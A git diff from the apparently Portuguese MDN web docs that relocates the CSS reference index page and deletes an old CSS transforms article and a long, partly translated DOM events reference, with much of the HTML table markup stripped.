- - diff --git a/files/pt-pt/web/css/reference/index.html b/files/pt-pt/web/css/reference/index.html new file mode 100644 index 0000000000..1be349b1c9 --- /dev/null +++ b/files/pt-pt/web/css/reference/index.html @@ -0,0 +1,171 @@ +--- +title: CSS - Referência +slug: Web/CSS/Referência_CSS +tags: + - CSS + - Referencia + - Resumo + - Sinopse + - 'l10n:priority' +translation_of: Web/CSS/Reference +--- +
{{CSSRef}}
+ +

Utilize esta referência de CSS para explorar um índex alfabético de todas as propriedades de CSS padrão, pseudoclasses, pseudoelementos, tipos de dados, e regras "at". Também pode explorar uma lista de todos os seletores de CSS organizados pelo tipo e uma lista de conceitos de CSS chave. Também incluido nesta breve referência de DOM-CSS / CSSOM.

+ +

Sintaxe Básica

+ +

Estilo padrão de sintaxe

+ +
selectorlist {
+  property: value;
+  [more property:value; pairs]
+}
+
+... where selectorlist is: selector[:pseudo-class] [::pseudo-element] [, more selectorlists]
+
+See selector, pseudo-class, pseudo-element lists below.
+
+ +

Exemplos de regra de estilo

+ +
strong {
+  color: red;
+}
+
+div.menu-bar li:hover > ul {
+  display: block;
+}
+
+ +

For a beginner-level introduction to the syntax of CSS selectors, please see this tutorial. Be aware that any CSS syntax error in a rule definition invalidates the entire rule. Invalid rules are ignored by the browser. Note that CSS rule definitions are entirely (ASCII) text-based, whereas DOM-CSS / CSSOM (the rule management system) is object-based.

+ +

Sintaxe de regra "At"

+ +

As the structure of at-rules varies widely, please see At-rule to find the syntax of the specific one you want.

+ +

Índex de palavra-chave

+ +
+

Nota: Os nomes das propriadades neste índex não incluem os nomes de JavaScript onde eles diferem com nomes padrão de CSS.

+
+ +
{{CSS_Ref}}
+ +

Seletors

+ + + +

Seletores básicos

+ + + +

Combinadores

+ + + +

Pseudoclasses

+ +
+ +
+ +

Pseudoelementos

+ +
+ +
+ +
+

Consulte também: uma lista de seletores completa na especificação de Seletores Nível 3.

+
+ +

Conceitos

+ +

Sintaxe e semântica

+ + + +

Valores

+ + + +

Layout

+ + + +

DOM-CSS / CSSOM

+ +

Major object types

+ + + +

Métodos importantes

+ + + +

Consultar também:

+ + diff --git "a/files/pt-pt/web/css/refer\303\252ncia_css/index.html" "b/files/pt-pt/web/css/refer\303\252ncia_css/index.html" deleted file mode 100644 index 1be349b1c9..0000000000 --- "a/files/pt-pt/web/css/refer\303\252ncia_css/index.html" +++ /dev/null @@ -1,171 +0,0 @@ ---- -title: CSS - Referência -slug: Web/CSS/Referência_CSS -tags: - - CSS - - Referencia - - Resumo - - Sinopse - - 'l10n:priority' -translation_of: Web/CSS/Reference ---- -
{{CSSRef}}
- -

Utilize esta referência de CSS para explorar um índex alfabético de todas as propriedades de CSS padrão, pseudoclasses, pseudoelementos, tipos de dados, e regras "at". Também pode explorar uma lista de todos os seletores de CSS organizados pelo tipo e uma lista de conceitos de CSS chave. Também incluido nesta breve referência de DOM-CSS / CSSOM.

- -

Sintaxe Básica

- -

Estilo padrão de sintaxe

- -
selectorlist {
-  property: value;
-  [more property:value; pairs]
-}
-
-... where selectorlist is: selector[:pseudo-class] [::pseudo-element] [, more selectorlists]
-
-See selector, pseudo-class, pseudo-element lists below.
-
- -

Exemplos de regra de estilo

- -
strong {
-  color: red;
-}
-
-div.menu-bar li:hover > ul {
-  display: block;
-}
-
- -

For a beginner-level introduction to the syntax of CSS selectors, please see this tutorial. Be aware that any CSS syntax error in a rule definition invalidates the entire rule. Invalid rules are ignored by the browser. Note that CSS rule definitions are entirely (ASCII) text-based, whereas DOM-CSS / CSSOM (the rule management system) is object-based.

- -

Sintaxe de regra "At"

- -

As the structure of at-rules varies widely, please see At-rule to find the syntax of the specific one you want.

- -

Índex de palavra-chave

- -
-

Nota: Os nomes das propriadades neste índex não incluem os nomes de JavaScript onde eles diferem com nomes padrão de CSS.

-
- -
{{CSS_Ref}}
- -

Seletors

- - - -

Seletores básicos

- - - -

Combinadores

- - - -

Pseudoclasses

- -
- -
- -

Pseudoelementos

- -
- -
- -
-

Consulte também: uma lista de seletores completa na especificação de Seletores Nível 3.

-
- -

Conceitos

- -

Sintaxe e semântica

- - - -

Valores

- - - -

Layout

- - - -

DOM-CSS / CSSOM

- -

Major object types

- - - -

Métodos importantes

- - - -

Consultar também:

- - diff --git "a/files/pt-pt/web/css/usando_transforma\303\247\303\265es_css/index.html" "b/files/pt-pt/web/css/usando_transforma\303\247\303\265es_css/index.html" deleted file mode 100644 index 62190c37dc..0000000000 --- "a/files/pt-pt/web/css/usando_transforma\303\247\303\265es_css/index.html" +++ /dev/null @@ -1,34 +0,0 @@ ---- -title: CSS/Usando_transformações_CSS -slug: Web/CSS/Usando_transformações_CSS -translation_of: Web/CSS/CSS_Transforms/Using_CSS_transforms ---- -

{{ gecko_minversion_header("1.9.1") }}

-

Firefox 3.5 (Gecko 1.9.1) introduz suporte a transformações CSS; estas são implementadas utilizando um conjunto de propriedades CSS permitindo a você aplicar transformações lineares a elementos HTML. Essas transformações são baseadas sobre o design proposto pelo time WebKit e incluem rotar, inclinar, escalar e usar translação. Enquanto isso, é um W3C working draft.

-

Mozilla atualmente suporta as propriedades {{ Cssxref("-moz-transform") }} e {{ Cssxref("-moz-transform-origin") }}. Para detalhes sobre onde funções de transformação são suportadas, veja o artigo CSS transform functions (en).

-
- Nota: Até o momento não há suporte ao eixo Z, portanto, perspectiva, rotação 3D, escala 3D, e transformações 3D não são suportadas.
-

Exemplo: Rotação

-

Este exemplo cria um iframe que lhe permite utilizar a página inicial do Google, girada 90 graus sobre seu canto inferior esquerdo.

-

Visualizar exemplo
- Visualizar screenshot do exemplo

-
<div style="-moz-transform: rotate(90deg); -moz-transform-origin: bottom left;">
-  <iframe src="http://www.google.com/" width="500px" height="600px" />
-</div>
-
-

Exemplo: Inclinação e translação

-

Este exemplo cria um iframe que lhe permite utilizar a página inicial do Google, inclinada 10 graus no eicho X.

-

Visualizar exemplo
- Visualizar screenshot do exemplo

-
<div style="-moz-transform: skewx(10deg) translatex(150px);
-            -moz-transform-origin: bottom left;">
-  <iframe src="http://www.google.com/" width="600px" height="500px" />
-</div>
-
-

Veja também

- -

{{ languages( { "ja": "ja/CSS/Using_CSS_transforms" } ) }}

diff --git a/files/pt-pt/web/eventos/index.html b/files/pt-pt/web/eventos/index.html deleted file mode 100644 index e215eccadc..0000000000 --- a/files/pt-pt/web/eventos/index.html +++ /dev/null @@ -1,3080 +0,0 @@ ---- -title: Referência de Eventos -slug: Web/Eventos -tags: - - eventos -translation_of: Web/Events ---- -

Eventos DOM são enviados para notificar o código de coisas interessantes que ocorreram. Cada evento é representado por um objeto que é baseado na interface {{domxref ('Evento')}}, e poderá ter campos e/ou funções personalizadas adicionais utilizadas para obter informação adicional sobre o que aconteceu. Os eventos podem representar tudo, desde interações básicas do utilizador até notificações automáticas de coisas a acontecer no modelo de renderização. .

- -

Este artigo oferece uma lista de eventos que podem ser enviados; alguns são eventos padrão definidos nas especificações oficiais, enquanto outros são eventos utilizadosinternamente pelos navegadores específicos; por exemplo, os eventos específicos da Mozilla são listados para que os extras possam utilizá-los para interagir com o navegador.

- -

Categorias Mais Comuns

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Eventos de Recurso
Nome do EventoExecutado quando
{{event("cached")}}The resources listed in the manifest have been downloaded, and the application is now cached.
{{event("error")}}A resource failed to load.
{{event("abort")}}The loading of a resource has been aborted.
{{event("load")}}A resource and its dependent resources have finished loading.
{{event("beforeunload")}}The window, the document and its resources are about to be unloaded.
{{event("unload")}}The document or a dependent resource is being unloaded.
- - - - - - - - - - - - - - - - - - - -
Eventos de Rede
Nome do EventoExecutado quando
{{event("online")}}The browser has gained access to the network.
{{event("offline")}}The browser has lost access to the network.
- - - - - - - - - - - - - - - - - - - -
Eventos de Foco
Nome do EventoExecutado quando
{{event("focus")}}An element has received focus (does not bubble).
{{event("blur")}}An element has lost focus (does not bubble).
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Eventos de Websocket
Nome do EventoExecutado quando
openA WebSocket connection has been established.
messageA message is received through a WebSocket.
{{event("error")}}A WebSocket connection has been closed with prejudice (some data couldn't be sent for example).
closeA WebSocket connection has been closed.
- - - - - - - - - - - - - - - - - - - - - - - -
Eventos do Histórico de Sessão
Nome do EventoExecutado quando
{{event("pagehide")}}A session history entry is being traversed from.
{{event("pageshow")}}A session history entry is being traversed to.
{{event("popstate")}}A session history entry is being navigated to (in certain cases).
- - - - - - - - - - - - - - - - - - - - - - - -
Eventos de Animação de CSS
Nome do EventoExecutado quando
{{event("animationstart")}}A CSS animation has started.
{{event("animationend")}}A CSS animation has completed.
{{event("animationiteration")}}A CSS animation is repeated.
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Eventos de Transição de CSS
Nome do EventoExecutado quando
{{event("transitionstart")}}A CSS transition has actually started (fired after any delay).
{{event("transitioncancel")}}A CSS transition has been cancelled.
{{event("transitionend")}}A CSS transition has completed.
{{event("transitionrun")}}A CSS transition has began running (fired before any delay starts).
- - - - - - - - - - - - - - - - - - - -
Eventos de Formulário
Nome do EventoExecutado quando
{{event("reset")}}The reset button is pressed
{{event("submit")}}The submit button is pressed
- - - - - - - - - - - - - - - - - - - -
Eventos de Impressão
Nome do EventoExecutado quando
{{event("beforeprint")}}The print dialog is opened
{{event("afterprint")}}The print dialog is closed
- - - - - - - - - - - - - - - - - - - - - - - -
Eventos de Composição de Texto
Nome do EventoExecutado quando
{{event("compositionstart")}}The composition of a passage of text is prepared (similar to keydown for a keyboard input, but works with other inputs such as speech recognition).
{{event("compositionupdate")}}A character is added to a passage of text being composed.
{{event("compositionend")}}The composition of a passage of text has been completed or canceled.
- - - - - - - - - - - - - - - - - - - - - - - - - - - -
Eventos de Visualização
Nome do EventoExecutado quando
{{event("fullscreenchange")}}An element was turned to fullscreen mode or back to normal mode.
{{event("fullscreenerror")}}It was impossible to switch to fullscreen mode for technical reasons or because the permission was denied.
{{event("resize")}}The document view has been resized.
{{event("scroll")}}The document view or an element has been scrolled.
- - - - - - - - - - - - - - - - - - - - - - - -
Eventos de Área de Transferência
Nome do EventoExecutado quando
{{event("cut")}}The selection has been cut and copied to the clipboard
{{event("copy")}}The selection has been copied to the clipboard
{{event("paste")}}The item from the clipboard has been pasted
- - - - - - - - - - - - - - - - - - - - - -
Eventos de Teclado
Nome do EventoExecutado quando
{{event("keydown")}}ANY key is pressed
{{event("keypress")}}ANY key except Shift, Fn, CapsLock is in pressed position. (Fired continously.)
{{event("keyup")}}ANY key is released
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Eventos de Rato
Nome do EventoExecutado quando
{{event("mouseenter")}}A pointing device is moved onto the element that has the listener attached.
{{event("mouseover")}}A pointing device is moved onto the element that has the listener attached or onto one of its children.
{{event("mousemove")}}A pointing device is moved over an element. (Fired continously as the mouse moves.)
{{event("mousedown")}}A pointing device button is pressed on an element.
{{event("mouseup")}}A pointing device button is released over an element.
{{event("auxclick")}}A pointing device button (ANY non-primary button) has been pressed and released on an element.
{{event("click")}}A pointing device button (ANY button; soon to be primary button only) has been pressed and released on an element.
{{event("dblclick")}}A pointing device button is clicked twice on an element.
{{event("contextmenu")}}The right button of the mouse is clicked (before the context menu is displayed).
{{event("wheel")}}A wheel button of a pointing device is rotated in any direction.
{{event("mouseleave")}}A pointing device is moved off the element that has the listener attached.
{{event("mouseout")}}A pointing device is moved off the element that has the listener attached or off one of its children.
{{event("select")}}Some text is being selected.
{{event("pointerlockchange")}}The pointer was locked or released.
{{event("pointerlockerror")}}It was impossible to lock the pointer for technical reasons or because the permission was denied.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Eventos de 'Arrastar e Largar'
Nome do EventoExecutado quando
{{event("dragstart")}}The user starts dragging an element or text selection.
{{event("drag")}}An element or text selection is being dragged (Fired continuously every 350ms).
{{event("dragend")}}A drag operation is being ended (by releasing a mouse button or hitting the escape key).
{{event("dragenter")}}A dragged element or text selection enters a valid drop target.
{{event("dragover")}}An element or text selection is being dragged over a valid drop target. (Fired continuously every 350ms.)
{{event("dragleave")}}A dragged element or text selection leaves a valid drop target.
{{event("drop")}}An element is dropped on a valid drop target.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Eventos de Média
Nome do EventoExecutado quando
{{event("durationchange")}}The duration attribute has been updated.
{{event("loadedmetadata")}}The metadata has been loaded.
{{event("loadeddata")}}The first frame of the media has finished loading.
{{event("canplay")}}The browser can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content.
{{event("canplaythrough")}}The browser estimates it can play the media up to its end without stopping for content buffering.
{{event("ended")}}Playback has stopped because the end of the media was reached.
{{event("emptied")}}The media has become empty; for example, this event is sent if the media has already been loaded (or partially loaded), and the load() method is called to reload it.
{{event("stalled")}}The user agent is trying to fetch media data, but data is unexpectedly not forthcoming.
{{event("suspend")}}Media data loading has been suspended.
{{event("play")}}Playback has begun.
{{event("playing")}}Playback is ready to start after having been paused or delayed due to lack of data.
{{event("pause")}}Playback has been paused.
{{event("waiting")}}Playback has stopped because of a temporary lack of data.
{{event("seeking")}}A seek operation began.
{{event("seeked")}}A seek operation completed.
{{event("ratechange")}}The playback rate has changed.
{{event("timeupdate")}}The time indicated by the currentTime attribute has been updated.
{{event("volumechange")}}The volume has changed.
{{event("complete")}}The rendering of an {{domxref("OfflineAudioContext")}} is terminated.
{{event("audioprocess")}}The input buffer of a {{domxref("ScriptProcessorNode")}} is ready to be processed.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Eventos de Progresso
Nome do EventoExecutado quando
{{event("loadstart")}}Progresso começou.
{{event("progress")}}Em progresso.
{{event("error")}}Progresso falhou.
{{event("timeout")}}Progression is terminated due to preset time expiring.
abortProgression has been terminated (not due to an error).
loadProgression has been successful.
{{event("loadend")}}Progress has stopped (after "error", "abort" or "load" have been dispatched).
- -

Eventos de armazenamento

- -

{{event("change")}} (see {{anch("Non-standard events")}})
- {{event("storage")}}

- -

Eventos de atualização

- -

{{event("checking")}}
- {{event("downloading")}}
- {{event("error")}}
- {{event("noupdate")}}
- {{event("obsolete")}}
- {{event("updateready")}}

- -

Eventos de alteração de valor

- -

{{event("broadcast")}}
- {{event("CheckboxStateChange")}}
- {{event("hashchange")}}
- {{event("input")}}
- {{event("RadioStateChange")}}
- {{event("readystatechange")}}
- {{event("ValueChange")}}

- -

Eventos não categorizados

- -

{{event("invalid")}}
- {{event("localized")}}
- message
- message
- message
- open
- {{event("show")}}

- -

Eventos menos comuns e não padrão

- -

Eventos de Abortable Fetch

- - - - - - - - - - - - - - -
Nome do EventoExecutado quando
{{event("abort_(dom_abort_api)", "abort")}}A DOM request is aborted, i.e. using {{domxref("AbortController.abort()")}}.
- -

Eventos de WebVR

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome do EventoExecutado quando
{{event("vrdisplayconnect")}}when a compatible {{domxref("VRDisplay")}} is connected to the computer.
{{event("vrdisplaydisconnect")}}When a compatible {{domxref("VRDisplay")}} is disconnected from the computer.
{{event("vrdisplayactivate")}}When a VR display is able to be presented to, for example if an HMD has been moved to bring it out of standby, or woken up by being put on.
{{event("vrdisplaydeactivate")}}When a {{domxref("VRDisplay")}} can no longer be presented to, for example if an HMD has gone into standby or sleep mode due to a period of inactivity.
{{event("vrdisplayblur")}}when presentation to a {{domxref("VRDisplay")}} has been paused for some reason by the browser, OS, or VR hardware — for example, while the user is interacting with a system menu or browser, to prevent tracking or loss of experience.
{{event("vrdisplayfocus")}}When presentation to a {{domxref("VRDisplay")}} has resumed after being blurred.
{{event("vrdisplaypresentchange")}}The presenting state of a {{domxref("VRDisplay")}} changes — i.e. goes from presenting to not presenting, or vice versa.
- -

Eventos de SVG

- -

{{event("SVGAbort")}}
- {{event("SVGError")}}
- {{event("SVGLoad")}}
- {{event("SVGResize")}}
- {{event("SVGScroll")}}
- {{event("SVGUnload")}}
- {{event("SVGZoom")}}

- -

Eventos de base de dados

- -

abort
- blocked
- complete
- {{event("error")}} (link)
- success
- upgradeneeded
- versionchange

- -

Eventos de notificação

- -

AlertActive
- AlertClose

- -

Eventos de CSS

- -

CssRuleViewRefreshed
- CssRuleViewChanged
- CssRuleViewCSSLinkClicked
- {{event("transitionend")}}

- -

eventos de script

- -

{{event("afterscriptexecute")}}
- {{event("beforescriptexecute")}}

- -

eventos de menu

- -

{{event("DOMMenuItemActive")}}
- {{event("DOMMenuItemInactive")}}

- -

Eventos de janela

- -

DOMWindowCreated
- DOMTitleChanged
- DOMWindowClose
- SSWindowClosing
- SSWindowStateReady
- SSWindowStateBusy
- close

- -

Eventos de documento

- -

DOMLinkAdded
- DOMLinkRemoved
- DOMMetaAdded
- DOMMetaRemoved
- DOMWillOpenModalDialog
- DOMModalDialogClosed

- -

Eventos de janela (Popup)

- -

{{event("popuphidden")}}
- {{event("popuphiding")}}
- {{event("popupshowing")}}
- {{event("popupshown")}}
- DOMPopupBlocked

- -

Eventos de separador

- -

TabOpen
- TabClose
- TabSelect
- TabShow
- TabHide
- TabPinned
- TabUnpinned
- SSTabClosing
- SSTabRestoring
- SSTabRestored
- {{event("visibilitychange")}}

- -

Eventos de bateria

- -

{{event("chargingchange")}}
- {{event("chargingtimechange")}}
- {{event("dischargingtimechange")}}
- {{event("levelchange")}}

- -

Eventos de chamada

- -

{{event("alerting")}}
- {{event("busy")}}
- {{event("callschanged")}}
- {{event("cfstatechange")}}
- {{event("connected")}}
- {{event("connecting")}}
- {{event("dialing")}}
- {{event("disconnected")}}
- {{event("disconnecting")}}
- {{event("error_(Telephony)","error")}}
- {{event("held")}}, {{event("holding")}}
- {{event("incoming")}}
- {{event("resuming")}}
- {{event("statechange")}}
- {{event("voicechange")}}

- -

Eventos de sensor

- -

{{event("compassneedscalibration")}}
- {{event("devicelight")}}
- {{event("devicemotion")}}
- {{event("deviceorientation")}}
- {{event("deviceproximity")}}
- {{event("MozOrientation")}}
- {{event("orientationchange")}}
- {{event("userproximity")}}

- -

Eventos de Smartcard

- -

{{event("icccardlockerror")}}
- {{event("iccinfochange")}}
- {{event("smartcard-insert")}}
- {{event("smartcard-remove")}}
- {{event("stkcommand")}}
- {{event("stksessionend")}}
- {{event("cardstatechange")}}

- -

Eventos de SMS e USSD

- -

{{event("delivered")}}
- {{event("received")}}
- {{event("sent")}}
- {{event("ussdreceived")}}

- -

Eventos de frame

- -

{{event("mozbrowserclose")}}
- {{event("mozbrowsercontextmenu")}}
- {{event("mozbrowsererror")}}
- {{event("mozbrowsericonchange")}}
- {{event("mozbrowserlocationchange")}}
- {{event("mozbrowserloadend")}}
- {{event("mozbrowserloadstart")}}
- {{event("mozbrowseropenwindow")}}
- {{event("mozbrowsersecuritychange")}}
- {{event("mozbrowsershowmodalprompt")}} (link)
- {{event("mozbrowsertitlechange")}}
- DOMFrameContentLoaded

- -

Eventos de mutação de DOM

- -

DOMAttributeNameChanged
- DOMAttrModified
- DOMCharacterDataModified
- {{event("DOMContentLoaded")}}
- DOMElementNameChanged
- DOMNodeInserted
- DOMNodeInsertedIntoDocument
- DOMNodeRemoved
- DOMNodeRemovedFromDocument
- DOMSubtreeModified

- -

Eventos de toque

- -

MozEdgeUIGesture
- MozMagnifyGesture
- MozMagnifyGestureStart
- MozMagnifyGestureUpdate
- MozPressTapGesture
- MozRotateGesture
- MozRotateGestureStart
- MozRotateGestureUpdate
- MozSwipeGesture
- MozTapGesture
- MozTouchDown
- MozTouchMove
- MozTouchUp
- {{event("touchcancel")}}
- {{event("touchend")}}
- {{event("touchenter")}}
- {{event("touchleave")}}
- {{event("touchmove")}}
- {{event("touchstart")}}

- -

Eventos de pointer

- -

{{event("pointerover")}}
- {{event("pointerenter")}}
- {{event("pointerdown")}}
- {{event("pointermove")}}
- {{event("pointerup")}}
- {{event("pointercancel")}}
- {{event("pointerout")}}
- {{event("pointerleave")}}
- {{event("gotpointercapture")}}
- {{event("lostpointercapture")}}

- -

Eventos padrão

- -

These events are defined in official Web specifications, and should be common across browsers. Each event is listed along with the interface representing the object sent to recipients of the event (so you can find information about what data is provided with each event) as well as a link to the specification or specifications that define the event.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Nome do EventoTipo de EventoEspecificaçãoExecutado quando...
{{event("abort")}}{{domxref("UIEvent")}}DOM L3The loading of a resource has been aborted.
abort{{domxref("ProgressEvent")}}Progress and XMLHttpRequestProgression has been terminated (not due to an error).
abort{{domxref("Event")}}IndexedDBA transaction has been aborted.
{{event("afterprint")}}{{gecko_minversion_inline("6")}}{{domxref("Event")}}HTML5The associated document has started printing or the print preview has been closed.
{{event("animationend")}}{{domxref("AnimationEvent")}} {{experimental_inline}}CSS AnimationsA CSS animation has completed.
{{event("animationiteration")}}{{domxref("AnimationEvent")}} {{experimental_inline}}CSS AnimationsA CSS animation is repeated.
{{event("animationstart")}}{{domxref("AnimationEvent")}} {{experimental_inline}}CSS AnimationsA CSS animation has started.
{{event("appinstalled")}}{{domxref("Event")}}Web App ManifestA web application is successfully installed as a progressive web app.
{{event("audioprocess")}}{{domxref("AudioProcessingEvent")}} {{deprecated_inline}}{{SpecName('Web Audio API', '#AudioProcessingEvent', 'audioprocess')}}The input buffer of a {{domxref("ScriptProcessorNode")}} is ready to be processed.
{{event("audioend")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}The user agent has finished capturing audio for speech recognition.
{{event("audiostart")}} {{experimental_inline}}{{domxref("Event")}}{{SpecName('Web Speech API')}}The user agent has started to capture audio for speech recognition.
{{event("beforeprint")}} {{gecko_minversion_inline("6")}}{{domxref("Event")}}HTML5The associated document is about to be printed or previewed for printing.
{{event("beforeunload")}}{{domxref("BeforeUnloadEvent")}}HTML5 The window, the document and its resources are about to be unloaded.
{{event("beginEvent")}}{{domxref("TimeEvent")}}SVGA SMIL animation element begins.
blocked IndexedDBAn open connection to a database is blocking a versionchange transaction on the same database.
{{event("blur")}}{{domxref("FocusEvent")}} {{experimental_inline}}DOM L3An element has lost focus (does not bubble).
{{event("boundary")}} {{experimental_inline}}{{domxref("SpeechSynthesisEvent")}}{{SpecName('Web Speech API')}}The spoken utterance reaches a word or sentence boundary
{{event("cached")}}{{domxref("Event")}}OfflineThe resources listed in the manifest have been downloaded, and the application is now cached.
{{event("canplay")}}{{domxref("Event")}}HTML5 mediaThe user agent can play the media, but estimates that not enough data has been loaded to play the media up to its end without having to stop for further buffering of content.
{{event("canplaythrough")}}{{domxref("Event")}}HTML5 mediaThe user agent can play the media up to its end without having to stop for further buffering of content.
{{event("change")}}{{domxref("Event")}}DOM L2, HTML5The change event is fired for {{HTMLElement("input")}}, {{HTMLElement("select")}}, and {{HTMLElement("textarea")}} elements when a change to the element's value is committed by the user.
{{event("chargingchange")}}{{domxref("Event")}}Battery statusThe battery begins or stops charging.
{{event("chargingtimechange")}}{{domxref("Event")}}Battery statusThe chargingTime attribute has been updated.
{{event("checking")}}{{domxref("Event")}}OfflineThe user agent is checking for an update, or attempting to download the cache manifest for the first time.
{{event("click")}}{{domxref("MouseEvent")}}DOM L3A pointing device button has been pressed and released on an element.
close{{domxref("Event")}}WebSocketA WebSocket connection has been closed.
complete IndexedDBA transaction successfully completed.
{{event("complete")}}{{domxref("OfflineAudioCompletionEvent")}} {{deprecated_inline}}{{SpecName('Web Audio API', '#OfflineAudioCompletionEvent-section', 'OfflineAudioCompletionEvent')}}The rendering of an {{domxref("OfflineAudioContext")}} is terminated.
{{event("compositionend")}}{{gecko_minversion_inline("9")}}{{domxref("CompositionEvent")}}DOM L3The composition of a passage of text has been completed or canceled.
{{event("compositionstart")}}{{gecko_minversion_inline("9")}}{{domxref("CompositionEvent")}}DOM L3The composition of a passage of text is prepared (similar to keydown for a keyboard input, but works with other inputs such as speech recognition).
{{event("compositionupdate")}}{{gecko_minversion_inline("9")}}{{domxref("CompositionEvent")}}DOM L3A character is added to a passage of text being composed.
{{event("contextmenu")}}{{domxref("MouseEvent")}}HTML5The right button of the mouse is clicked (before the context menu is displayed).
{{event("copy")}}{{domxref("ClipboardEvent")}} {{experimental_inline}}ClipboardThe text selection has been added to the clipboard.
{{event("cut")}}{{domxref("ClipboardEvent")}} {{experimental_inline}}ClipboardThe text selection has been removed from the document and added to the clipboard.
{{event("dblclick")}}{{domxref("MouseEvent")}}DOM L3A pointing device button is clicked twice on an element.
{{event("devicechange")}}{{domxref("Event")}}{{SpecName("Media Capture")}}A media device such as a camera, microphone, or speaker is connected or removed from the system.
{{event("devicelight")}}{{domxref("DeviceLightEvent")}} {{experimental_inline}}Ambient Light EventsFresh data is available from a light sensor.
{{event("devicemotion")}}{{domxref("DeviceMotionEvent")}} {{experimental_inline}}Device Orientation EventsFresh data is available from a motion sensor.
{{event("deviceorientation")}}{{domxref("DeviceOrientationEvent")}} {{experimental_inline}}Device Orientation EventsFresh data is available from an orientation sensor.
{{event("deviceproximity")}}{{domxref("DeviceProximityEvent")}} {{experimental_inline}}Proximity EventsFresh data is available from a proximity sensor (indicates an approximated distance between the device and a nearby object).
{{event("dischargingtimechange")}}{{domxref("Event")}}Battery statusThe dischargingTime attribute has been updated.
DOMActivate {{deprecated_inline}}{{domxref("UIEvent")}}DOM L3A button, link or state changing element is activated (use {{event("click")}} instead).
DOMAttributeNameChanged {{deprecated_inline}}{{domxref("MutationNameEvent")}}DOM L3 RemovedThe name of an attribute changed (use mutation observers instead).
DOMAttrModified {{deprecated_inline}}{{domxref("MutationEvent")}}DOM L3The value of an attribute has been modified (use mutation observers instead).
DOMCharacterDataModified {{deprecated_inline}}{{domxref("MutationEvent")}}DOM L3A text or another CharacterData has changed (use mutation observers instead).
{{event("DOMContentLoaded")}}{{domxref("Event")}}HTML5The document has finished loading (but not its dependent resources).
DOMElementNameChanged {{deprecated_inline}}{{domxref("MutationNameEvent")}}DOM L3 RemovedThe name of an element changed (use mutation observers instead).
DOMFocusIn {{deprecated_inline}}{{domxref("FocusEvent")}} {{experimental_inline}}DOM L3An element has received focus (use {{event("focus")}} or {{event("focusin")}} instead).
DOMFocusOut {{deprecated_inline}}{{domxref("FocusEvent")}} {{experimental_inline}}DOM L3An element has lost focus (use {{event("blur")}} or {{event("focusout")}} instead).
DOMNodeInserted {{deprecated_inline}}{{domxref("MutationEvent")}}DOM L3A node has been added as a child of another node (use mutation observers instead).
DOMNodeInsertedIntoDocument {{deprecated_inline}}{{domxref("MutationEvent")}}DOM L3A node has been inserted into the document (use mutation observers instead).
DOMNodeRemoved {{deprecated_inline}}{{domxref("MutationEvent")}}DOM L3A node has been removed from its parent node (use mutation observers instead).
DOMNodeRemovedFromDocument {{deprecated_inline}}{{domxref("MutationEvent")}}DOM L3A node has been removed from the document (use mutation observers instead).
DOMSubtreeModified {{deprecated_inline}}{{domxref("MutationEvent")}}DOM L3A change happened in the document (use mutation observers instead).
{{event("downloading")}}{{domxref("Event")}}OfflineThe user agent has found an update and is fetching it, or is downloading the resources listed by the cache manifest for the first time.
{{event("drag")}}{{domxref("DragEvent")}}HTML5An element or text selection is being dragged (every 350ms).
{{event("dragend")}}{{domxref("DragEvent")}}HTML5A drag operation is being ended (by releasing a mouse button or hitting the escape key).
